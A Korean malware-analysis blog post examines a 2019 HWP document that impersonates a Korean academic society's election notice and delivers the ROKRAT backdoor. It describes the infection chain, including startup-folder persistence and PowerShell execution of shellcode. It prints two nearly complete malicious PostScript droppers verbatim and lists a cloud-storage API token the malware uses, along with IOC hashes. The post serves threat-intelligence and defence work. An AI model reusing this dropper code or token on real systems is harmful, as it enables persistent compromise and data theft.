2019년 11월 18일 바이러스토탈에서 악성으로 추정되는 샘플이 헌팅되었으며 헌팅된 문서는 “제9대 한국국가정보학회 회장 선거 및 선거관리위원회 구성 공고” 라는 내용을 포함하고 있다. 싸이버워(이하 싸워)에서 올린 사진(링크)에 따르면 한국국가정보학회 홈페이지에서 유포를 하였거나 또는 정상적인 문서를 악용하여 유포한 것으로 추정된다. 공격자들은 4월 한국정치학회 위장, 7월 한국국제정치학회 위장에 이어 또다시 다른 학회를 위장하는 것으로 보인다. 

 

구분 유포 날짜 파일명 또는 내용 (악용된 학회명)
파일 #1 2019-10 추정 new_제9대 학회장 선거공고 및 입후보 신청서 관련
(한국국가정보학회)
파일 #2 2019-07 추정 한국국제정치학회 회원카드 관련 (한국국제정치학회)
파일 #3 2019-04-12 춘계학술회의 프로그램 관련 (한국정치학회)

[표 1] 특정 학회를 위장한 공격 사례

 

특정 학회를 위장하여 시도된 공격은 [표 1]과 같으며 새로 확인된 공격(파일#1)이 기존에 유포된 공격과 일부 유사한 점을 확인하여 분석을 진행하고자 한다.

 

 

유포된 한글 문서는 2019-10-28 11:26:39 (UTC)에 마지막으로 저장되었으며 싸워에서 올려둔 사진에서 학회 홈페이지에 게시글이 업로드된 시간은 2019-10-28 15:42이다. 공격자가 실제로 홈페이지에 업로드된 문서를 악용한 경우라면 KCT 기준 홈페이지에 업로드 후 대략 4시간 만에 제작된 것으로 추정된다. (현시각 홈페이지는 잠정적으로 폐쇄한다는 문구가 적혀있고 접속이 불가능함)

 

new_제9대 학회장 선거공고 및 입후보신청서 HwpSummaryInformation

 

Stage 1. 포스트스크립트

내부에 포함되어 있는 포스트스크립트는 실행될 경우 2개의 파일을 시작프로그램과 다른 폴더에생성한다. 생성된 파일은 각각 BASE64로 인코딩된 데이터 파일과 인코딩된 데이터 파일을 실행시켜줄 VB스크립트로 이루어져 있다. 동작은 시작프로그램에 생성되어 부팅 시 자동으로 실행되는 VB스크립트에서 파워쉘 EncodedCommand 옵션을 사용하여 데이터를 디코딩 후 실행시키도록 구성되어 있다.

 

포스트스트립트 일부

(%appdata%)\Microsoft\Windows\Start Menu\Programs\Startup\Zeorder88.0.2.vbs
(%appdata%)\Microsoft\AutoCad.mji.ver01

[표 2] 생성되는 파일 경로

 

디코딩된 스크립트는 kernel32.dll Import -> Binary Download -> VirtualAlloc() -> CreateThread 순으로 메모리에 로드되어 동작한다. 

 

디코딩된 스크립트

 

Stage 2. Injected Shellcode (feat. ROKRAT)
로드된 쉘코드는 특정 위치의 데이터를 읽어와 디코딩 과정에 사용할 크기와 키값으로 사용하며 메모리를 추가로 할당하여 4바이트씩 디코딩 과정을 수행한다.

 - size : 0x0007B200

 - key : 0x11A811A7

 

인코딩된 데이터
디코딩 과정

 

디코딩 후 파일 형태로 로드되어 동작하며 파일은 ROKRAT라고 불리는 악성코드이다. 위에서 언급한 3개의 파일 모두 최종 페이로드로 같은 유형의 악성코드를 메모리에서 동작시키며 주요 특징은 사용자 정보를 수집 후 C&C서버를 클라우드 스토리지의 오픈API를 사용하여 파일을 주고받는다. (이미 분석된 내용이 많으므로 자세한 내용은 클릭)
 - token : 6HVrZkS73Uk8M6T7ZJYj7N7ZV8hsboKJRz5855MzoG4iBJaRikA

 

 

※ 포스트 스크립트 특징/패턴
전에 올린 게시물(클릭)에서처럼 시작프로그램에 스크립트 형태의 파일을 생성하여 사용하며 포스트스크립트에서 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 방식을 사용한다. 다시 말하지만 해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴이므로 참고만 바란다.

 

/envstr
/appenv
/file0 ~ /file10
/path0 ~ /path10 

[표 3] 자주 선언된 변수명

 

또한 7월경에 유포된 한국국제정치학회 위장(파일#2)와 매우 유사한 포스트 스크립트 패턴을 볼 수 있으며 인코딩된 BASE64 데이터와 시작프로그램에 생성되는 VB스크립트의 파일명을 제외하고 [표 4]와 같이 매우 유사한 패턴을 확인할 수 있다. 

 

%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\Zeorder88.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\AutoCad.mji.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile
%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\CleanCache_v40.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\Iconcache.fia.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile

포스트스크립트 비교 (파일#1 / 파일#2)

 

 

IOC
new_제9대 학회장 선거공고 및 입후보신청서.hwp (E232EE98E0777FE589F600AA6E62D967)
제목모름.hwp (452BE70FEB404EB5C7A61C579FC149EE)
[한국정치학회] 춘계학술회의 프로그램.hwp (DE4B2A970BFAB5209C9AA5C1A541FF76)

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,